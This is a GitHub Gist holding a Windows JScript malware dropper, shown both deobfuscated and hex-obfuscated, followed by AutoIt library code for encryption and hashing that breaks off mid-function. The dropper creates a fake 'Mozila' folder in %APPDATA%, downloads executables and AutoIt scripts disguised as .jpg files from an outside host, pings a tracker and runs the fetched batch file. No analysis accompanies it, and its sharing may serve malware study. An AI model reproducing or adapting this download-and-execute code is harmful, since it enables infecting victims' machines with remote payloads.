Skip to content

Instantly share code, notes, and snippets.

@fititnt
Last active June 26, 2016 02:54
Show Gist options
  • Save fititnt/3743cedf4fc5d2d03c0c2dcc59ea5991 to your computer and use it in GitHub Desktop.
Save fititnt/3743cedf4fc5d2d03c0c2dcc59ea5991 to your computer and use it in GitHub Desktop.
javascript-simple-mallware-randon.sj
var _0xe519 = ["Msxml2.XMLhttp",
"onreadystatechange",
"readyState",
"status",
"ADODB.Stream",
"open",
"type",
"write",
"position",
"read",
"saveToFile",
"close",
"GET",
"send",
"Scripting.FileSystemObject",
"WScript.Shell",
"Shell.Application",
"%APPDATA%\",
"ExpandEnvironmentStrings",
"Mozila",
"https://www.google.com",
"http://userexperiencestatics.net/ext/Autoit.jpg",
"\autoit.exe",
"http://userexperiencestatics.net/ext/bg.jpg",
"\bg.js",
"http://userexperiencestatics.net/ext/ekl.jpg",
"\ekl.au3",
"http://userexperiencestatics.net/ext/ff.jpg",
"\ff.zip",
"http://userexperiencestatics.net/ext/force.jpg",
"\force.au3",
"http://userexperiencestatics.net/ext/sabit.jpg",
"\sabit.au3",
"http://userexperiencestatics.net/ext/manifest.jpg",
"\manifest.json",
"http://userexperiencestatics.net/ext/run.jpg",
"\run.bat",
"http://userexperiencestatics.net/ext/up.jpg",
"\up.au3",
"http://whos.amung.us/pingjs/?k=pingjse346",
"\ping.js",
"http://whos.amung.us/pingjs/?k=pingjse3462",
"\ping2.js",
""];
(function(_0xc4a4x1) {
function _0xc4a4x2(_0xc4a4x2, _0xc4a4x3, _0xc4a4x4) {
if (!_0xc4a4x3 || !_0xc4a4x2) {
return null
};
var _0xc4a4x5 = WScript.CreateObject(_0xe519[0]);
_0xc4a4x5[_0xe519[1]] = function() {
if (_0xc4a4x5[_0xe519[2]] === 4 && _0xc4a4x5[_0xe519[3]] === 200) {
xa = new ActiveXObject(_0xe519[4]);
xa[_0xe519[5]]();
xa[_0xe519[6]] = 1;
xa[_0xe519[7]](_0xc4a4x5.ResponseBody);
xa[_0xe519[8]] = _0xc4a4x4;
stm2 = new ActiveXObject(_0xe519[4]);
stm2[_0xe519[6]] = 1;
stm2[_0xe519[5]]();
stm2[_0xe519[7]](xa[_0xe519[9]]());
stm2[_0xe519[10]](_0xc4a4x3, 2);
stm2[_0xe519[11]]();
xa[_0xe519[11]]()
}
};
_0xc4a4x5[_0xe519[5]](_0xe519[12], _0xc4a4x2, false);
_0xc4a4x5[_0xe519[13]](null)
}
function _0xc4a4x6(_0xc4a4x7, _0xc4a4x8) {
{
xa = new ActiveXObject(_0xe519[4]);
xa[_0xe519[5]]();
xa[_0xe519[6]] = 1;
xa.LoadFromFile(_0xc4a4x7);
ix = new ActiveXObject(_0xe519[4]);
ix[_0xe519[5]]();
ix[_0xe519[6]] = 1;
ix.LoadFromFile(_0xc4a4x8);
stm2 = new ActiveXObject(_0xe519[4]);
stm2[_0xe519[6]] = 1;
stm2[_0xe519[5]]();
stm2[_0xe519[7]](ix[_0xe519[9]]());
stm2[_0xe519[7]](xa[_0xe519[9]]());
xa[_0xe519[11]]();
ix[_0xe519[11]]();
stm2[_0xe519[10]](_0xc4a4x7, 2);
stm2[_0xe519[11]]()
}
}
fso = new ActiveXObject(_0xe519[14]);
var _0xc4a4x9 = new ActiveXObject(_0xe519[15]);
_0xc4a4x1 = new ActiveXObject(_0xe519[16]);
FileDestr = _0xc4a4x9[_0xe519[18]](_0xe519[17]);
mozklasor = FileDestr + _0xe519[19];
if (!fso.FolderExists(mozklasor)) {
fso.CreateFolder(mozklasor)
};
_0xc4a4x1.ShellExecute(_0xe519[20]);
_0xc4a4x2(_0xe519[21], mozklasor + _0xe519[22], 0);
_0xc4a4x2(_0xe519[23], mozklasor + _0xe519[24], 0);
_0xc4a4x2(_0xe519[25], mozklasor + _0xe519[26], 0);
_0xc4a4x2(_0xe519[27], mozklasor + _0xe519[28], 0);
_0xc4a4x2(_0xe519[29], mozklasor + _0xe519[30], 0);
_0xc4a4x2(_0xe519[31], mozklasor + _0xe519[32], 0);
_0xc4a4x2(_0xe519[33], mozklasor + _0xe519[34], 0);
_0xc4a4x2(_0xe519[35], mozklasor + _0xe519[36], 0);
_0xc4a4x2(_0xe519[37], mozklasor + _0xe519[38], 0);
_0xc4a4x2(_0xe519[39], mozklasor + _0xe519[40], 0);
_0xc4a4x2(_0xe519[41], mozklasor + _0xe519[42], 0);
_0xc4a4x1.ShellExecute(mozklasor + _0xe519[36], _0xe519[43], mozklasor, _0xe519[43], 0)
})(this)
var _0xe519 = ["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x68\x74\x74\x70", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x41\x44\x4F\x44\x42\x2E\x53\x74\x72\x65\x61\x6D", "\x6F\x70\x65\x6E", "\x74\x79\x70\x65", "\x77\x72\x69\x74\x65", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x72\x65\x61\x64", "\x73\x61\x76\x65\x54\x6F\x46\x69\x6C\x65", "\x63\x6C\x6F\x73\x65", "\x47\x45\x54", "\x73\x65\x6E\x64", "\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74", "\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C", "\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E", "\x25\x41\x50\x50\x44\x41\x54\x41\x25\x5C", "\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73", "\x4D\x6F\x7A\x69\x6C\x61", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x41\x75\x74\x6F\x69\x74\x2E\x6A\x70\x67", "\x5C\x61\x75\x74\x6F\x69\x74\x2E\x65\x78\x65", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x62\x67\x2E\x6A\x70\x67", "\x5C\x62\x67\x2E\x6A\x73", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x65\x6B\x6C\x2E\x6A\x70\x67", "\x5C\x65\x6B\x6C\x2E\x61\x75\x33", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x66\x66\x2E\x6A\x70\x67", "\x5C\x66\x66\x2E\x7A\x69\x70", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x66\x6F\x72\x63\x65\x2E\x6A\x70\x67", "\x5C\x66\x6F\x72\x63\x65\x2E\x61\x75\x33", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x73\x61\x62\x69\x74\x2E\x6A\x70\x67", "\x5C\x73\x61\x62\x69\x74\x2E\x61\x75\x33", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x6D\x61\x6E\x69\x66\x65\x73\x74\x2E\x6A\x70\x67", "\x5C\x6D\x61\x6E\x69\x66\x65\x73\x74\x2E\x6A\x73\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x72\x75\x6E\x2E\x6A\x70\x67", "\x5C\x72\x75\x6E\x2E\x62\x61\x74", "\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x75\x70\x2E\x6A\x70\x67", "\x5C\x75\x70\x2E\x61\x75\x33", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x68\x6F\x73\x2E\x61\x6D\x75\x6E\x67\x2E\x75\x73\x2F\x70\x69\x6E\x67\x6A\x73\x2F\x3F\x6B\x3D\x70\x69\x6E\x67\x6A\x73\x65\x33\x34\x36", "\x5C\x70\x69\x6E\x67\x2E\x6A\x73", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x68\x6F\x73\x2E\x61\x6D\x75\x6E\x67\x2E\x75\x73\x2F\x70\x69\x6E\x67\x6A\x73\x2F\x3F\x6B\x3D\x70\x69\x6E\x67\x6A\x73\x65\x33\x34\x36\x32", "\x5C\x70\x69\x6E\x67\x32\x2E\x6A\x73", ""];
(function(_0xc4a4x1) {
function _0xc4a4x2(_0xc4a4x2, _0xc4a4x3, _0xc4a4x4) {
if (!_0xc4a4x3 || !_0xc4a4x2) {
return null
};
var _0xc4a4x5 = WScript.CreateObject(_0xe519[0]);
_0xc4a4x5[_0xe519[1]] = function() {
if (_0xc4a4x5[_0xe519[2]] === 4 && _0xc4a4x5[_0xe519[3]] === 200) {
xa = new ActiveXObject(_0xe519[4]);
xa[_0xe519[5]]();
xa[_0xe519[6]] = 1;
xa[_0xe519[7]](_0xc4a4x5.ResponseBody);
xa[_0xe519[8]] = _0xc4a4x4;
stm2 = new ActiveXObject(_0xe519[4]);
stm2[_0xe519[6]] = 1;
stm2[_0xe519[5]]();
stm2[_0xe519[7]](xa[_0xe519[9]]());
stm2[_0xe519[10]](_0xc4a4x3, 2);
stm2[_0xe519[11]]();
xa[_0xe519[11]]()
}
};
_0xc4a4x5[_0xe519[5]](_0xe519[12], _0xc4a4x2, false);
_0xc4a4x5[_0xe519[13]](null)
}
function _0xc4a4x6(_0xc4a4x7, _0xc4a4x8) {
{
xa = new ActiveXObject(_0xe519[4]);
xa[_0xe519[5]]();
xa[_0xe519[6]] = 1;
xa.LoadFromFile(_0xc4a4x7);
ix = new ActiveXObject(_0xe519[4]);
ix[_0xe519[5]]();
ix[_0xe519[6]] = 1;
ix.LoadFromFile(_0xc4a4x8);
stm2 = new ActiveXObject(_0xe519[4]);
stm2[_0xe519[6]] = 1;
stm2[_0xe519[5]]();
stm2[_0xe519[7]](ix[_0xe519[9]]());
stm2[_0xe519[7]](xa[_0xe519[9]]());
xa[_0xe519[11]]();
ix[_0xe519[11]]();
stm2[_0xe519[10]](_0xc4a4x7, 2);
stm2[_0xe519[11]]()
}
}
fso = new ActiveXObject(_0xe519[14]);
var _0xc4a4x9 = new ActiveXObject(_0xe519[15]);
_0xc4a4x1 = new ActiveXObject(_0xe519[16]);
FileDestr = _0xc4a4x9[_0xe519[18]](_0xe519[17]);
mozklasor = FileDestr + _0xe519[19];
if (!fso.FolderExists(mozklasor)) {
fso.CreateFolder(mozklasor)
};
_0xc4a4x1.ShellExecute(_0xe519[20]);
_0xc4a4x2(_0xe519[21], mozklasor + _0xe519[22], 0);
_0xc4a4x2(_0xe519[23], mozklasor + _0xe519[24], 0);
_0xc4a4x2(_0xe519[25], mozklasor + _0xe519[26], 0);
_0xc4a4x2(_0xe519[27], mozklasor + _0xe519[28], 0);
_0xc4a4x2(_0xe519[29], mozklasor + _0xe519[30], 0);
_0xc4a4x2(_0xe519[31], mozklasor + _0xe519[32], 0);
_0xc4a4x2(_0xe519[33], mozklasor + _0xe519[34], 0);
_0xc4a4x2(_0xe519[35], mozklasor + _0xe519[36], 0);
_0xc4a4x2(_0xe519[37], mozklasor + _0xe519[38], 0);
_0xc4a4x2(_0xe519[39], mozklasor + _0xe519[40], 0);
_0xc4a4x2(_0xe519[41], mozklasor + _0xe519[42], 0);
_0xc4a4x1.ShellExecute(mozklasor + _0xe519[36], _0xe519[43], mozklasor, _0xe519[43], 0)
})(this)
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $fc_createpath = 8
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_createpath = 8
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $fo_utf8_full = 16384
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024
Global Const $file_attribute_compressed = 2048
Global Const $file_attribute_offline = 4096
Global Const $file_attribute_not_content_indexed = 8192
Global Const $file_attribute_encrypted = 16384
Global Const $file_share_read = 1
Global Const $file_share_write = 2
Global Const $file_share_delete = 4
Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
Global Const $generic_all = 268435456
Global Const $generic_execute = 536870912
Global Const $generic_write = 1073741824
Global Const $generic_read = -2147483648
Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
Global Const $frta_nocount = 0
Global Const $frta_count = 1
Global Const $frta_intarrays = 2
Global Const $frta_entiresplit = 4
Global Const $flta_filesfolders = 0
Global Const $flta_files = 1
Global Const $flta_folders = 2
Global Const $fltar_filesfolders = 0
Global Const $fltar_files = 1
Global Const $fltar_folders = 2
Global Const $fltar_nohidden = 4
Global Const $fltar_nosystem = 8
Global Const $fltar_nolink = 16
Global Const $fltar_norecur = 0
Global Const $fltar_recur = 1
Global Const $fltar_nosort = 0
Global Const $fltar_sort = 1
Global Const $fltar_fastsort = 2
Global Const $fltar_nopath = 0
Global Const $fltar_relpath = 1
Global Const $fltar_fullpath = 2
Global Const $prov_rsa_full = 1
Global Const $prov_rsa_aes = 24
Global Const $crypt_verifycontext = -268435456
Global Const $hp_hashsize = 4
Global Const $hp_hashval = 2
Global Const $crypt_exportable = 1
Global Const $crypt_userdata = 1
Global Const $calg_md2 = 32769
Global Const $calg_md4 = 32770
Global Const $calg_md5 = 32771
Global Const $calg_sha1 = 32772
Global Const $calg_3des = 26115
Global Const $calg_aes_128 = 26126
Global Const $calg_aes_192 = 26127
Global Const $calg_aes_256 = 26128
Global Const $calg_des = 26113
Global Const $calg_rc2 = 26114
Global Const $calg_rc4 = 26625
Global Const $calg_userkey = 0
Global $__g_acryptinternaldata[3]
Func _crypt_startup()
If __crypt_refcount() = 0 Then
Local $hadvapi32 = DllOpen("Advapi32.dll")
If $hadvapi32 = -1 Then Return SetError(1, 0, False)
__crypt_dllhandleset($hadvapi32)
Local $iproviderid = $prov_rsa_aes
Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
If @error OR NOT $aret[0] Then
Local $ierror = @error + 10, $iextended = @extended
DllClose(__crypt_dllhandle())
Return SetError($ierror, $iextended, False)
Else
__crypt_contextset($aret[1])
EndIf
EndIf
__crypt_refcountinc()
Return True
EndFunc
Func _crypt_shutdown()
__crypt_refcountdec()
If __crypt_refcount() = 0 Then
DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
DllClose(__crypt_dllhandle())
EndIf
EndFunc
Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
Local $aret = 0, $hbuff = 0, $hcrypthash = 0, $ierror = 0, $iextended = 0, $vreturn = 0
_crypt_startup()
Do
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 10
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
$hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
DllStructSetData($hbuff, 1, $vpassword)
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = @error + 20
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 30
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$vreturn = $aret[5]
Until True
If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
Return SetError($ierror, $iextended, $vreturn)
EndFunc
Func _crypt_destroykey($hcryptkey)
Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
Local $ierror = @error, $iextended = @extended
_crypt_shutdown()
If $ierror OR NOT $aret[0] Then
Return SetError($ierror + 10, $iextended, False)
Else
Return True
EndIf
EndFunc
Func _crypt_encryptdata($vdata, $vcryptkey, $ialg_id, $bfinal = True)
Local $ireqbuffsize = 0, $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $vreturn = 0
_crypt_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = @error + 100
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
EndIf
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 20
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$ireqbuffsize = $aret[6]
$hbuff = DllStructCreate("byte[" & $ireqbuffsize & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
If @error OR NOT $aret[0] Then
$ierror = @error + 30
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$vreturn = DllStructGetData($hbuff, 1)
Until True
If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
_crypt_shutdown()
Return SetError($ierror, $iextended, $vreturn)
EndFunc
Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $bfinal = True)
Local $aret = 0, $hbuff = 0, $htempstruct = 0, $ierror = 0, $iextended = 0, $iplaintextsize = 0, $vreturn = 0
_crypt_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = @error + 100
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
If @error OR NOT $aret[0] Then
$ierror = @error + 20
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$iplaintextsize = $aret[6]
$htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
$vreturn = DllStructGetData($htempstruct, 1)
Until True
If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
_crypt_shutdown()
Return SetError($ierror, $iextended, $vreturn)
EndFunc
Func _crypt_hashdata($vdata, $ialg_id, $bfinal = True, $hcrypthash = 0)
Local $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $ihashsize = 0, $vreturn = 0
_crypt_startup()
Do
If $hcrypthash = 0 Then
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 10
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
EndIf
$hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
DllStructSetData($hbuff, 1, $vdata)
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = @error + 20
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
If $bfinal Then
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 30
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$ihashsize = $aret[3]
$hbuff = DllStructCreate("byte[" & $ihashsize & "]")
$aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
If @error OR NOT $aret[0] Then
$ierror = @error + 40
$iextended = @extended
$vreturn = -1
ExitLoop
EndIf
$vreturn = DllStructGetData($hbuff, 1)
Else
$vreturn = $hcrypthash
EndIf
Until True
If $hcrypthash <> 0 AND $bfinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
_crypt_shutdown()
Return SetError($ierror, $iextended, $vreturn)
EndFunc
Func _crypt_hashfile($sfile, $ialg_id)
Local $btempdata = 0, $hfile = 0, $hhashobject = 0, $ierror = 0, $iextended = 0, $vreturn = 0
_crypt_startup()
Do
$hfile = FileOpen($sfile, $fo_binary)
If $hfile = -1 Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
Do
$btempdata = FileRead($hfile, 512 * 1024)
If @error Then
$vreturn = _crypt_hashdata($btempdata, $ialg_id, True, $hhashobject)
If @error Then
$ierror = @error
$iextended = @extended
$vreturn = -1
ExitLoop 2
EndIf
ExitLoop 2
Else
$hhashobject = _crypt_hashdata($btempdata, $ialg_id, False, $hhashobject)
If @error Then
$ierror = @error + 100
$iextended = @extended
$vreturn = -1
ExitLoop 2
EndIf
EndIf
Until False
Until True
_crypt_shutdown()
If $hfile <> -1 Then FileClose($hfile)
Return SetError($ierror, $iextended, $vreturn)
EndFunc
Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
_crypt_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = @error
$iextended = @extended
$breturn = False
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, $fo_binary)
If @error Then
$ierror = 2
$breturn = False
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
If @error Then
$ierror = 3
$breturn = False
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = @error + 400
$iextended = @extended
$breturn = False
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = @error + 500
$iextended = @extended
$breturn = False
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
_crypt_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, $iextended, $breturn)
EndFunc
Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
_crypt_startup()
Do
If $ialg_id <> $calg_userkey Then
$vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
If @error Then
$ierror = @error
$iextended = @extended
$breturn = False
ExitLoop
EndIf
EndIf
$hinfile = FileOpen($ssourcefile, $fo_binary)
If @error Then
$ierror = 2
$breturn = False
ExitLoop
EndIf
$houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
If @error Then
$ierror = 3
$breturn = False
ExitLoop
EndIf
Do
$btempdata = FileRead($hinfile, 1024 * 1024)
$iread += BinaryLen($btempdata)
If $iread = $ifilesize Then
$btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
If @error Then
$ierror = @error + 400
$iextended = @extended
$breturn = False
EndIf
FileWrite($houtfile, $btempdata)
ExitLoop 2
Else
$btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
If @error Then
$ierror = @error + 500
$iextended = @extended
$breturn = False
ExitLoop 2
EndIf
FileWrite($houtfile, $btempdata)
EndIf
Until False
Until True
If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
_crypt_shutdown()
If $hinfile <> -1 Then FileClose($hinfile)
If $houtfile <> -1 Then FileClose($houtfile)
Return SetError($ierror, $iextended, $breturn)
EndFunc
Func _crypt_genrandom($pbuffer, $isize)
_crypt_startup()
Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGenRandom", "handle", __crypt_context(), "dword", $isize, "struct*", $pbuffer)
Local $ierror = @error + 10, $iextended = @extended
_crypt_shutdown()
If $ierror OR (NOT $aret[0]) Then
Return SetError($ierror, $iextended, False)
Else
Return True
EndIf
EndFunc
Func __crypt_refcount()
Return $__g_acryptinternaldata[0]
EndFunc
Func __crypt_refcountinc()
$__g_acryptinternaldata[0] += 1
EndFunc
Func __crypt_refcountdec()
If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
EndFunc
Func __crypt_dllhandle()
Return $__g_acryptinternaldata[1]
EndFunc
Func __crypt_dllhandleset($hadvapi32)
$__g_acryptinternaldata[1] = $hadvapi32
EndFunc
Func __crypt_context()
Return $__g_acryptinternaldata[2]
EndFunc
Func __crypt_contextset($hcryptcontext)
$__g_acryptinternaldata[2] = $hcryptcontext
EndFunc
Global Const $str_nocasesense = 0
Global Const $str_casesense = 1
Global Const $str_nocasesensebasic = 2
Global Const $str_stripleading = 1
Global Const $str_striptrailing = 2
Global Const $str_stripspaces = 4
Global Const $str_stripall = 8
Global Const $str_chrsplit = 0
Global Const $str_entiresplit = 1
Global Const $str_nocount = 2
Global Const $str_regexpmatch = 0
Global Const $str_regexparraymatch = 1
Global Const $str_regexparrayfullmatch = 2
Global Const $str_regexparrayglobalmatch = 3
Global Const $str_regexparrayglobalfullmatch = 4
Global Const $str_endisstart = 0
Global Const $str_endnotstart = 1
Func _hextostring($shex)
If NOT (StringLeft($shex, 2) == "0x") Then $shex = "0x" & $shex
Return BinaryToString($shex)
EndFunc
Func _stringbetween($sstring, $sstart, $send, $imode = $str_endisstart, $bcase = False)
If $imode <> $str_endnotstart Then $imode = $str_endisstart
If $bcase = Default Then
$bcase = False
EndIf
Local $scase = $bcase ? "(?s)" : "(?is)"
$sstart = $sstart ? "\Q" & $sstart & "\E" : "\A"
If $imode = $str_endisstart Then
$send = $send ? "(?=\Q" & $send & "\E)" : "\z"
Else
$send = $send ? "\Q" & $send & "\E" : "\z"
EndIf
